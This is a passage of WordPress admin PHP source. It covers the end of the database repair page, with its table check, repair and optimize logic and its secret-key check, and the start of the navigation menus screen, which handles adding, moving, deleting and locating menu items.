		__( 'To allow use of this page to automatically repair database problems, please add the following line to your %s file. Once this line is added to your config, reload this page.' ),
		'<code>wp-config.php</code>'
	);
	echo "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";

	$default_keys    = array_unique(
		array(
			'put your unique phrase here',
			/*
			 * translators: This string should only be translated if wp-config-sample.php is localized.
			 * You can check the localized release package or
			 * https://i18n.svn.wordpress.org/<locale code>/branches/<wp version>/dist/wp-config-sample.php
			 */
			__( 'put your unique phrase here' ),
		)
	);
	$missing_key     = false;
	$duplicated_keys = array();

	foreach ( array( 'AUTH_KEY', 'SECURE_AUTH_KEY', 'LOGGED_IN_KEY', 'NONCE_KEY', 'AUTH_SALT', 'SECURE_AUTH_SALT', 'LOGGED_IN_SALT', 'NONCE_SALT' ) as $key ) {
		if ( defined( $key ) ) {
			// Check for unique values of each key.
			$duplicated_keys[ constant( $key ) ] = isset( $duplicated_keys[ constant( $key ) ] );
		} else {
			// If a constant is not defined, it's missing.
			$missing_key = true;
		}
	}

	// If at least one key uses a default value, consider it duplicated.
	foreach ( $default_keys as $default_key ) {
		if ( isset( $duplicated_keys[ $default_key ] ) ) {
			$duplicated_keys[ $default_key ] = true;
		}
	}

	// Weed out all unique, non-default values.
	$duplicated_keys = array_filter( $duplicated_keys );

	if ( $duplicated_keys || $missing_key ) {

		echo '<h2 class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Check secret keys' ) .
		'</h2>';

		/* translators: 1: wp-config.php, 2: Secret key service URL. */
		echo '<p>' . sprintf( __( 'While you are editing your %1$s file, take a moment to make sure you have all 8 keys and that they are unique. You can generate these using the <a href="%2$s">WordPress.org secret key service</a>.' ), '<code>wp-config.php</code>', 'https://api.wordpress.org/secret-key/1.1/salt/' ) . '</p>';
	}
} elseif ( isset( $_GET['repair'] ) ) {

	echo '<h1 class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Database repair results' ) .
	'</h1>';

	$optimize = '2' === $_GET['repair'];
	$okay     = true;
	$problems = array();

	$tables = $wpdb->tables();

	/**
	 * Filters additional database tables to repair.
	 *
	 * @since 3.0.0
	 *
	 * @param string[] $tables Array of prefixed table names to be repaired.
	 */
	$tables = array_merge( $tables, (array) apply_filters( 'tables_to_repair', array() ) );

	// Loop over the tables, checking and repairing as needed.
	foreach ( $tables as $table ) {
		$check = $wpdb->get_row( "CHECK TABLE $table" );

		echo '<p>';
		if ( 'OK' === $check->Msg_text ) {
			/* translators: %s: Table name. */
			printf( __( 'The %s table is okay.' ), "<code>$table</code>" );
		} else {
			/* translators: 1: Table name, 2: Error message. */
			printf( __( 'The %1$s table is not okay. It is reporting the following error: %2$s. WordPress will attempt to repair this table&hellip;' ), "<code>$table</code>", "<code>$check->Msg_text</code>" );

			$repair = $wpdb->get_row( "REPAIR TABLE $table" );

			echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
			if ( 'OK' === $repair->Msg_text ) {
				/* translators: %s: Table name. */
				printf( __( 'Successfully repaired the %s table.' ), "<code>$table</code>" );
			} else {
				/* translators: 1: Table name, 2: Error message. */
				printf( __( 'Failed to repair the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$repair->Msg_text</code>" ) . '<br />';
				$problems[ $table ] = $repair->Msg_text;
				$okay               = false;
			}
		}

		if ( $okay && $optimize ) {
			$analyze = $wpdb->get_row( "ANALYZE TABLE $table" );

			echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
			if ( 'Table is already up to date' === $analyze->Msg_text ) {
				/* translators: %s: Table name. */
				printf( __( 'The %s table is already optimized.' ), "<code>$table</code>" );
			} else {
				$optimize = $wpdb->get_row( "OPTIMIZE TABLE $table" );

				echo '<br />&nbsp;&nbsp;&nbsp;&nbsp;';
				if ( 'OK' === $optimize->Msg_text || 'Table is already up to date' === $optimize->Msg_text ) {
					/* translators: %s: Table name. */
					printf( __( 'Successfully optimized the %s table.' ), "<code>$table</code>" );
				} else {
					/* translators: 1: Table name. 2: Error message. */
					printf( __( 'Failed to optimize the %1$s table. Error: %2$s' ), "<code>$table</code>", "<code>$optimize->Msg_text</code>" );
				}
			}
		}
		echo '</p>';
	}

	if ( $problems ) {
		printf(
			/* translators: %s: URL to "Fixing WordPress" forum. */
			'<p>' . __( 'Some database problems could not be repaired. Please copy-and-paste the following list of errors to the <a href="%s">WordPress support forums</a> to get additional assistance.' ) . '</p>',
			__( 'https://wordpress.org/support/forum/how-to-and-troubleshooting' )
		);
		$problem_output = '';
		foreach ( $problems as $table => $problem ) {
			$problem_output .= "$table: $problem\n";
		}
		echo '<p><textarea name="errors" id="errors" rows="20" cols="60">' . esc_textarea( $problem_output ) . '</textarea></p>';
	} else {
		echo '<p>' . __( 'Repairs complete. Please remove the following line from wp-config.php to prevent this page from being used by unauthorized users.' ) . "</p><p><code>define('WP_ALLOW_REPAIR', true);</code></p>";
	}
} else {

	echo '<h1 class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'WordPress database repair' ) .
	'</h1>';

	if ( isset( $_GET['referrer'] ) && 'is_blog_installed' === $_GET['referrer'] ) {
		echo '<p>' . __( 'One or more database tables are unavailable. To allow WordPress to attempt to repair these tables, press the &#8220;Repair Database&#8221; button. Repairing can take a while, so please be patient.' ) . '</p>';
	} else {
		echo '<p>' . __( 'WordPress can automatically look for some common database problems and repair them. Repairing can take a while, so please be patient.' ) . '</p>';
	}
	?>
	<p class="step"><a class="button button-large" href="repair.php?repair=1"><?php _e( 'Repair Database' ); ?></a></p>
	<p><?php _e( 'WordPress can also attempt to optimize the database. This improves performance in some situations. Repairing and optimizing the database can take a long time and the database will be locked while optimizing.' ); ?></p>
	<p class="step"><a class="button button-large" href="repair.php?repair=2"><?php _e( 'Repair and Optimize Database' ); ?></a></p>
	<?php
}
?>
</body>
</html>
<?php
/**
 * WordPress Administration for Navigation Menus
 * Interface functions
 *
 * @version 2.0.0
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

// Load all the nav menu interface functions.
require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

if ( ! current_theme_supports( 'menus' ) && ! current_theme_supports( 'widgets' ) ) {
	wp_die( __( 'Your theme does not support navigation menus or widgets.' ) );
}

// Permissions check.
if ( ! current_user_can( 'edit_theme_options' ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to edit theme options on this site.' ) . '</p>',
		403
	);
}

// Used in the HTML title tag.
$title = __( 'Menus' );

wp_enqueue_script( 'nav-menu' );

if ( wp_is_mobile() ) {
	wp_enqueue_script( 'jquery-touch-punch' );
}

// Container for any messages displayed to the user.
$messages = array();

// Container that stores the name of the active menu.
$nav_menu_selected_title = '';

// The menu id of the current menu being edited.
$nav_menu_selected_id = isset( $_REQUEST['menu'] ) ? (int) $_REQUEST['menu'] : 0;

// Get existing menu locations assignments.
$locations      = get_registered_nav_menus();
$menu_locations = get_nav_menu_locations();
$num_locations  = count( array_keys( $locations ) );

// Allowed actions: add, update, delete.
$action = isset( $_REQUEST['action'] ) ? $_REQUEST['action'] : 'edit';

/*
 * If a JSON blob of navigation menu data is found, expand it and inject it
 * into `$_POST` to avoid PHP `max_input_vars` limitations. See #14134.
 */
_wp_expand_nav_menu_post_data();

switch ( $action ) {
	case 'add-menu-item':
		check_admin_referer( 'add-menu_item', 'menu-settings-column-nonce' );

		if ( isset( $_REQUEST['nav-menu-locations'] ) ) {
			set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_REQUEST['menu-locations'] ) );
		} elseif ( isset( $_REQUEST['menu-item'] ) ) {
			wp_save_nav_menu_items( $nav_menu_selected_id, $_REQUEST['menu-item'] );
		}

		break;

	case 'move-down-menu-item':
		// Moving down a menu item is the same as moving up the next in order.
		check_admin_referer( 'move-menu_item' );

		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;

		if ( is_nav_menu_item( $menu_item_id ) ) {
			$menus = isset( $_REQUEST['menu'] ) ? array( (int) $_REQUEST['menu'] ) : wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );

			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
				$menu_id            = (int) $menus[0];
				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
				$menu_item_data     = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );

				// Set up the data we need in one pass through the array of menu items.
				$dbids_to_orders = array();
				$orders_to_dbids = array();

				foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) {
					if ( isset( $ordered_menu_item_object->ID ) ) {
						if ( isset( $ordered_menu_item_object->menu_order ) ) {
							$dbids_to_orders[ $ordered_menu_item_object->ID ]         = $ordered_menu_item_object->menu_order;
							$orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID;
						}
					}
				}

				// Get next in order.
				if ( isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ] ) ) {
					$next_item_id   = $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] + 1 ];
					$next_item_data = (array) wp_setup_nav_menu_item( get_post( $next_item_id ) );

					// If not siblings of same parent, bubble menu item up but keep order.
					if ( ! empty( $menu_item_data['menu_item_parent'] )
						&& ( empty( $next_item_data['menu_item_parent'] )
							|| (int) $next_item_data['menu_item_parent'] !== (int) $menu_item_data['menu_item_parent'] )
					) {
						if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) {
							$parent_db_id = (int) $menu_item_data['menu_item_parent'];
						} else {
							$parent_db_id = 0;
						}

						$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );

						if ( ! is_wp_error( $parent_object ) ) {
							$parent_data                        = (array) $parent_object;
							$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];

							// Reset invalid `menu_item_parent`.
							$menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data );

							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
						}

						// Make menu item a child of its next sibling.
					} else {
						$next_item_data['menu_order'] = $next_item_data['menu_order'] - 1;
						$menu_item_data['menu_order'] = $menu_item_data['menu_order'] + 1;

						$menu_item_data['menu_item_parent'] = $next_item_data['ID'];

						// Reset invalid `menu_item_parent`.
						$menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data );

						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );

						wp_update_post( $menu_item_data );
						wp_update_post( $next_item_data );
					}

					// The item is last but still has a parent, so bubble up.
				} elseif ( ! empty( $menu_item_data['menu_item_parent'] )
					&& in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true )
				) {
					$menu_item_data['menu_item_parent'] = (int) get_post_meta( $menu_item_data['menu_item_parent'], '_menu_item_menu_item_parent', true );

					// Reset invalid `menu_item_parent`.
					$menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data );

					update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
				}
			}
		}

		break;

	case 'move-up-menu-item':
		check_admin_referer( 'move-menu_item' );

		$menu_item_id = isset( $_REQUEST['menu-item'] ) ? (int) $_REQUEST['menu-item'] : 0;

		if ( is_nav_menu_item( $menu_item_id ) ) {
			if ( isset( $_REQUEST['menu'] ) ) {
				$menus = array( (int) $_REQUEST['menu'] );
			} else {
				$menus = wp_get_object_terms( $menu_item_id, 'nav_menu', array( 'fields' => 'ids' ) );
			}

			if ( ! is_wp_error( $menus ) && ! empty( $menus[0] ) ) {
				$menu_id            = (int) $menus[0];
				$ordered_menu_items = wp_get_nav_menu_items( $menu_id );
				$menu_item_data     = (array) wp_setup_nav_menu_item( get_post( $menu_item_id ) );

				// Set up the data we need in one pass through the array of menu items.
				$dbids_to_orders = array();
				$orders_to_dbids = array();

				foreach ( (array) $ordered_menu_items as $ordered_menu_item_object ) {
					if ( isset( $ordered_menu_item_object->ID ) ) {
						if ( isset( $ordered_menu_item_object->menu_order ) ) {
							$dbids_to_orders[ $ordered_menu_item_object->ID ]         = $ordered_menu_item_object->menu_order;
							$orders_to_dbids[ $ordered_menu_item_object->menu_order ] = $ordered_menu_item_object->ID;
						}
					}
				}

				// If this menu item is not first.
				if ( ! empty( $dbids_to_orders[ $menu_item_id ] )
					&& ! empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] )
				) {

					// If this menu item is a child of the previous.
					if ( ! empty( $menu_item_data['menu_item_parent'] )
						&& in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true )
						&& isset( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] )
						&& ( (int) $menu_item_data['menu_item_parent'] === $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] )
					) {
						if ( in_array( (int) $menu_item_data['menu_item_parent'], $orders_to_dbids, true ) ) {
							$parent_db_id = (int) $menu_item_data['menu_item_parent'];
						} else {
							$parent_db_id = 0;
						}

						$parent_object = wp_setup_nav_menu_item( get_post( $parent_db_id ) );

						if ( ! is_wp_error( $parent_object ) ) {
							$parent_data = (array) $parent_object;

							/*
							 * If there is something before the parent and parent a child of it,
							 * make menu item a child also of it.
							 */
							if ( ! empty( $dbids_to_orders[ $parent_db_id ] )
								&& ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] )
								&& ! empty( $parent_data['menu_item_parent'] )
							) {
								$menu_item_data['menu_item_parent'] = $parent_data['menu_item_parent'];

								/*
								* Else if there is something before parent and parent not a child of it,
								* make menu item a child of that something's parent
								*/
							} elseif ( ! empty( $dbids_to_orders[ $parent_db_id ] )
								&& ! empty( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ] )
							) {
								$_possible_parent_id = (int) get_post_meta( $orders_to_dbids[ $dbids_to_orders[ $parent_db_id ] - 1 ], '_menu_item_menu_item_parent', true );

								if ( in_array( $_possible_parent_id, array_keys( $dbids_to_orders ), true ) ) {
									$menu_item_data['menu_item_parent'] = $_possible_parent_id;
								} else {
									$menu_item_data['menu_item_parent'] = 0;
								}

								// Else there isn't something before the parent.
							} else {
								$menu_item_data['menu_item_parent'] = 0;
							}

							// Set former parent's [menu_order] to that of menu-item's.
							$parent_data['menu_order'] = $parent_data['menu_order'] + 1;

							// Set menu-item's [menu_order] to that of former parent.
							$menu_item_data['menu_order'] = $menu_item_data['menu_order'] - 1;

							// Save changes.
							update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
							wp_update_post( $menu_item_data );
							wp_update_post( $parent_data );
						}

						// Else this menu item is not a child of the previous.
					} elseif ( empty( $menu_item_data['menu_order'] )
						|| empty( $menu_item_data['menu_item_parent'] )
						|| ! in_array( (int) $menu_item_data['menu_item_parent'], array_keys( $dbids_to_orders ), true )
						|| empty( $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] )
						|| $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ] !== (int) $menu_item_data['menu_item_parent']
					) {
						// Just make it a child of the previous; keep the order.
						$menu_item_data['menu_item_parent'] = (int) $orders_to_dbids[ $dbids_to_orders[ $menu_item_id ] - 1 ];

						// Reset invalid `menu_item_parent`.
						$menu_item_data = _wp_reset_invalid_menu_item_parent( $menu_item_data );

						update_post_meta( $menu_item_data['ID'], '_menu_item_menu_item_parent', (int) $menu_item_data['menu_item_parent'] );
						wp_update_post( $menu_item_data );
					}
				}
			}
		}

		break;

	case 'delete-menu-item':
		$menu_item_id = (int) $_REQUEST['menu-item'];

		check_admin_referer( 'delete-menu_item_' . $menu_item_id );

		if ( is_nav_menu_item( $menu_item_id ) && wp_delete_post( $menu_item_id, true ) ) {
			$messages[] = wp_get_admin_notice(
				__( 'The menu item has been successfully deleted.' ),
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
					'dismissible'        => true,
				)
			);
		}

		break;

	case 'delete':
		check_admin_referer( 'delete-nav_menu-' . $nav_menu_selected_id );

		if ( is_nav_menu( $nav_menu_selected_id ) ) {
			$deletion = wp_delete_nav_menu( $nav_menu_selected_id );
		} else {
			// Reset the selected menu.
			$nav_menu_selected_id = 0;
			unset( $_REQUEST['menu'] );
		}

		if ( ! isset( $deletion ) ) {
			break;
		}

		if ( is_wp_error( $deletion ) ) {
			$messages[] = wp_get_admin_notice(
				$deletion->get_error_message(),
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'error' ),
					'dismissible'        => true,
				)
			);
		} else {
			$messages[] = wp_get_admin_notice(
				__( 'The menu has been successfully deleted.' ),
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
					'dismissible'        => true,
				)
			);
		}

		break;

	case 'delete_menus':
		check_admin_referer( 'nav_menus_bulk_actions' );

		foreach ( $_REQUEST['delete_menus'] as $menu_id_to_delete ) {
			if ( ! is_nav_menu( $menu_id_to_delete ) ) {
				continue;
			}

			$deletion = wp_delete_nav_menu( $menu_id_to_delete );

			if ( is_wp_error( $deletion ) ) {
				$messages[]     = wp_get_admin_notice(
					$deletion->get_error_message(),
					array(
						'id'                 => 'message',
						'additional_classes' => array( 'error' ),
						'dismissible'        => true,
					)
				);
				$deletion_error = true;
			}
		}

		if ( empty( $deletion_error ) ) {
			$messages[] = wp_get_admin_notice(
				__( 'Selected menus have been successfully deleted.' ),
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
					'dismissible'        => true,
				)
			);
		}

		break;

	case 'update':
		check_admin_referer( 'update-nav_menu', 'update-nav-menu-nonce' );

		// Merge new and existing menu locations if any new ones are set.
		$new_menu_locations = array();
		if ( isset( $_POST['menu-locations'] ) ) {
			$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
			$menu_locations     = array_merge( $menu_locations, $new_menu_locations );
		}

		// Add Menu.
		if ( 0 === $nav_menu_selected_id ) {
			$new_menu_title = trim( esc_html( $_POST['menu-name'] ) );

			if ( $new_menu_title ) {
				$_nav_menu_selected_id = wp_update_nav_menu_object( 0, array( 'menu-name' => $new_menu_title ) );

				if ( is_wp_error( $_nav_menu_selected_id ) ) {
					$messages[] = wp_get_admin_notice(
						$_nav_menu_selected_id->get_error_message(),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
				} else {
					$_menu_object            = wp_get_nav_menu_object( $_nav_menu_selected_id );
					$nav_menu_selected_id    = $_nav_menu_selected_id;
					$nav_menu_selected_title = $_menu_object->name;

					if ( isset( $_REQUEST['menu-item'] ) ) {
						wp_save_nav_menu_items( $nav_menu_selected_id, absint( $_REQUEST['menu-item'] ) );
					}

					if ( isset( $_REQUEST['zero-menu-state'] ) || ! empty( $_POST['auto-add-pages'] ) ) {
						// If there are menu items, add them.
						wp_nav_menu_update_menu_items( $nav_menu_selected_id, $nav_menu_selected_title );
					}

					if ( isset( $_REQUEST['zero-menu-state'] ) ) {
						// Auto-save nav_menu_locations.
						$locations = get_nav_menu_locations();

						foreach ( $locations as $location => $menu_id ) {
								$locations[ $location ] = $nav_menu_selected_id;
								break; // There should only be 1.
						}

						set_theme_mod( 'nav_menu_locations', $locations );
					} elseif ( count( $new_menu_locations ) > 0 ) {
						// If locations have been selected for the new menu, save those.
						$locations = get_nav_menu_locations();

						foreach ( array_keys( $new_menu_locations ) as $location ) {
							$locations[ $location ] = $nav_menu_selected_id;
						}

						set_theme_mod( 'nav_menu_locations', $locations );
					}

					if ( isset( $_REQUEST['use-location'] ) ) {
						$locations      = get_registered_nav_menus();
						$menu_locations = get_nav_menu_locations();

						if ( isset( $locations[ $_REQUEST['use-location'] ] ) ) {
							$menu_locations[ $_REQUEST['use-location'] ] = $nav_menu_selected_id;
						}

						set_theme_mod( 'nav_menu_locations', $menu_locations );
					}

					wp_redirect( admin_url( 'nav-menus.php?menu=' . $_nav_menu_selected_id ) );
					exit;
				}
			} else {
				$messages[] = wp_get_admin_notice(
					__( 'Please enter a valid menu name.' ),
					array(
						'id'                 => 'message',
						'additional_classes' => array( 'error' ),
						'dismissible'        => true,
					)
				);
			}

			// Update existing menu.
		} else {
			// Remove menu locations that have been unchecked.
			foreach ( $locations as $location => $description ) {
				if ( ( empty( $_POST['menu-locations'] ) || empty( $_POST['menu-locations'][ $location ] ) )
					&& isset( $menu_locations[ $location ] ) && $menu_locations[ $location ] === $nav_menu_selected_id
				) {
					unset( $menu_locations[ $location ] );
				}
			}

			// Set menu locations.
			set_theme_mod( 'nav_menu_locations', $menu_locations );

			$_menu_object = wp_get_nav_menu_object( $nav_menu_selected_id );

			$menu_title = trim( esc_html( $_POST['menu-name'] ) );

			if ( ! $menu_title ) {
				$messages[] = wp_get_admin_notice(
					__( 'Please enter a valid menu name.' ),
					array(
						'id'                 => 'message',
						'additional_classes' => array( 'error' ),
						'dismissible'        => true,
					)
				);
				$menu_title = $_menu_object->name;
			}

			if ( ! is_wp_error( $_menu_object ) ) {
				$_nav_menu_selected_id = wp_update_nav_menu_object( $nav_menu_selected_id, array( 'menu-name' => $menu_title ) );

				if ( is_wp_error( $_nav_menu_selected_id ) ) {
					$_menu_object = $_nav_menu_selected_id;
					$messages[]   = wp_get_admin_notice(
						$_nav_menu_selected_id->get_error_message(),
						array(
							'id'                 => 'message',
							'additional_classes' => array( 'error' ),
							'dismissible'        => true,
						)
					);
				} else {
					$_menu_object            = wp_get_nav_menu_object( $_nav_menu_selected_id );
					$nav_menu_selected_title = $_menu_object->name;
				}
			}

			// Update menu items.
			if ( ! is_wp_error( $_menu_object ) ) {
				$messages = array_merge( $messages, wp_nav_menu_update_menu_items( $_nav_menu_selected_id, $nav_menu_selected_title ) );

				// If the menu ID changed, redirect to the new URL.
				if ( $nav_menu_selected_id !== $_nav_menu_selected_id ) {
					wp_redirect( admin_url( 'nav-menus.php?menu=' . (int) $_nav_menu_selected_id ) );
					exit;
				}
			}
		}

		break;

	case 'locations':
		if ( ! $num_locations ) {
			wp_redirect( admin_url( 'nav-menus.php' ) );
			exit;
		}

		add_filter( 'screen_options_show_screen', '__return_false' );

		if ( isset( $_POST['menu-locations'] ) ) {
			check_admin_referer( 'save-menu-locations' );

			$new_menu_locations = array_map( 'absint', $_POST['menu-locations'] );
			$menu_locations     = array_merge( $menu_locations, $new_menu_locations );
			// Set menu locations.
			set_theme_mod( 'nav_menu_locations', $menu_locations );

			$messages[] = wp_get_admin_notice(
				__( 'Menu locations updated.' ),
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
					'dismissible'        => true,
				)
			);
		}

		break;
}

// Get all nav menus.
$nav_menus  = wp_get_nav_menus();
$menu_count = count( $nav_menus );

// Are we on the add new screen?
$add_new_screen = ( isset( $_GET['menu'] ) && 0 === (int) $_GET['menu'] ) ? true : false;

$locations_screen = ( isset( $_GET['action'] ) && 'locations' === $_GET['action'] ) ? true : false;

$page_count = wp_count_posts( 'page' );

/*
 * If we have one theme location, and zero menus, we take them right
 * into editing their first menu.
 */
if ( 1 === count( get_registered_nav_menus() ) && ! $add_new_screen
	&& empty( $nav_menus ) && ! empty( $page_count->publish )
) {
	$one_theme_location_no_menus = true;
} else {
	$one_theme_location_no_menus = false;
}

$nav_menus_l10n = array(
	'oneThemeLocationNoMenus' => $one_theme_location_no_menus,
	'moveUp'                  => __( 'Move up one' ),
	'moveDown'                => __( 'Move down one' ),
	'moveToTop'               => __( 'Move to the top' ),
	/* translators: %s: Previous item name. */
	'moveUnder'               => __( 'Move under %s' ),
	/* translators: %s: Previous item name. */
	'moveOutFrom'             => __( 'Move out from under %s' ),
	/* translators: %s: Previous item name. */
	'under'                   => __( 'Under %s' ),
	/* translators: %s: Previous item name. */
	'outFrom'                 => __( 'Out from under %s' ),
	/* translators: 1: Item name, 2: Item position, 3: Total number of items. */
	'menuFocus'               => __( '%1$s. Menu item %2$d of %3$d.' ),
	/* translators: 1: Item name, 2: Item position, 3: Parent item name. */
	'subMenuFocus'            => __( '%1$s. Sub item number %2$d under %3$s.' ),
	/* translators: %s: Item name. */
	'menuItemDeletion'        => __( 'item %s' ),
	/* translators: %s: Item name. */
	'itemsDeleted'            => __( 'Deleted menu item: %s.' ),
	'itemAdded'               => __( 'Menu item added' ),
	'itemRemoved'             => __( 'Menu item removed' ),
	'movedUp'                 => __( 'Menu item moved up' ),
	'movedDown'               => __( 'Menu item moved down' ),
	'movedTop'                => __( 'Menu item moved to the top' ),
	'movedLeft'               => __( 'Menu item moved out of submenu' ),
	'movedRight'              => __( 'Menu item is now a sub-item' ),
);
wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n );

/*
 * Redirect to add screen if there are no menus and this users has either zero,
 * or more than 1 theme locations.
 */
if ( 0 === $menu_count && ! $add_new_screen && ! $one_theme_location_no_menus ) {
	wp_redirect( admin_url( 'nav-menus.php?action=edit&menu=0' ) );
}

// Get recently edited nav menu.
$recently_edited = absint( get_user_option( 'nav_menu_recently_edited' ) );
if ( empty( $recently_edited ) && is_nav_menu( $nav_menu_selected_id ) ) {
	$recently_edited = $nav_menu_selected_id;
}

// Use $recently_edited if none are selected.
if ( empty( $nav_menu_selected_id ) && ! isset( $_GET['menu'] ) && is_nav_menu( $recently_edited ) ) {
	$nav_menu_selected_id = $recently_edited;
}

// On deletion of menu, if another menu exists, show it.
if ( ! $add_new_screen && $menu_count > 0 && isset( $_GET['action'] ) && 'delete' === $_GET['action'] ) {
	$nav_menu_selected_id = $nav_menus[0]->term_id;
}

// Set $nav_menu_selected_id to 0 if no menus.
if ( $one_theme_location_no_menus ) {
	$nav_menu_selected_id = 0;
} elseif ( empty( $nav_menu_selected_id ) && ! empty( $nav_menus ) && ! $add_new_screen ) {
	// If we have no selection yet, and we have menus, set to the first one in the list.
	$nav_menu_selected_id = $nav_menus[0]->term_id;
}

// Update the user's setting.
if ( $nav_menu_selected_id !== $recently_edited && is_nav_menu( $nav_menu_selected_id ) ) {
	update_user_meta( $current_user->ID, 'nav_menu_recently_edited', $nav_menu_selected_id );
}

// If there's a menu, get its name.
if ( ! $nav_menu_selected_title && is_nav_menu( $nav_menu_selected_id ) ) {
	$_menu_object            = wp_get_nav_menu_object( $nav_menu_selected_id );
	$nav_menu_selected_title = ! is_wp_error( $_menu_object ) ? $_menu_object->name : '';
}

// Generate truncated menu names.
foreach ( (array) $nav_menus as $key => $_nav_menu ) {
	$nav_menus[ $key ]->truncated_name = wp_html_excerpt( $_nav_menu->name, 40, '&hellip;' );
}

// Retrieve menu locations.
if ( current_theme_supports( 'menus' ) ) {
	$locations      = get_registered_nav_menus();
	$menu_locations = get_nav_menu_locations();
}

/*
 * Ensure the user will be able to scroll horizontally
 * by adding a class for the max menu depth.
 *
 * @global int $_wp_nav_menu_max_depth
 */
global $_wp_nav_menu_max_depth;
$_wp_nav_menu_max_depth = 0;

// Calling wp_get_nav_menu_to_edit generates $_wp_nav_menu_max_depth.
if ( is_nav_menu( $nav_menu_selected_id ) ) {
	$menu_items  = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'post_status' => 'any' ) );
	$edit_markup = wp_get_nav_menu_to_edit( $nav_menu_selected_id );
}

/**
 * @global int $_wp_nav_menu_max_depth
 *
 * @param string $classes
 * @return string
 */
function wp_nav_menu_max_depth( $classes ) {
	global $_wp_nav_menu_max_depth;
	return "$classes menu-max-depth-$_wp_nav_menu_max_depth";
}

add_filter( 'admin_body_class', 'wp_nav_menu_max_depth' );

wp_nav_menu_setup();
wp_initial_nav_menu_meta_boxes();

if ( ! current_theme_supports( 'menus' ) && ! $num_locations ) {
	$message_no_theme_support = sprintf(
		/* translators: %s: URL to Widgets screen. */
		__( 'Your theme does not natively support menus, but you can use them in sidebars by adding a &#8220;Navigation Menu&#8221; widget on the <a href="%s">Widgets</a> screen.' ),
		admin_url( 'widgets.php' )
	);
	$messages[] = wp_get_admin_notice(
		$message_no_theme_support,
		array(
			'id'                 => 'message',
			'additional_classes' => array( 'updated' ),
			'dismissible'        => true,
		)
	);
}

if ( ! $locations_screen ) : // Main tab.
	$overview  = '<p>' . __( 'This screen is used for managing your navigation menus.' ) . '</p>';
	$overview .= '<p>' . sprintf(
		/* translators: 1: URL to Widgets screen, 2 and 3: The names of the default themes. */
		__( 'Menus can be displayed in locations defined by your theme, even used in sidebars by adding a &#8220;Navigation Menu&#8221; widget on the <a href="%1$s">Widgets</a> screen. If your theme does not support the navigation menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the documentation link to the side.' ),
		admin_url( 'widgets.php' ),
		'Twenty Twenty',
		'Twenty Twenty-One'
	) . '</p>';
	$overview .= '<p>' . __( 'From this screen you can:' ) . '</p>';
	$overview .= '<ul><li>' . __( 'Create, edit, and delete menus' ) . '</li>';
	$overview .= '<li>' . __( 'Add, organize, and modify individual menu items' ) . '</li></ul>';

	get_current_screen()->add_help_tab(
		array(
			'id'      => 'overview',
			'title'   => __( 'Overview' ),
			'content' => $overview,
		)
	);

	$menu_management  = '<p>' . __( 'The menu management box at the top of the screen is used to control which menu is opened in the editor below.' ) . '</p>';
	$menu_management .= '<ul><li>' . __( 'To edit an existing menu, <strong>choose a menu from the dropdown and click Select</strong>' ) . '</li>';
	$menu_management .= '<li>' . __( 'If you have not yet created any menus, <strong>click the &#8217;create a new menu&#8217; link</strong> to get started' ) . '</li></ul>';
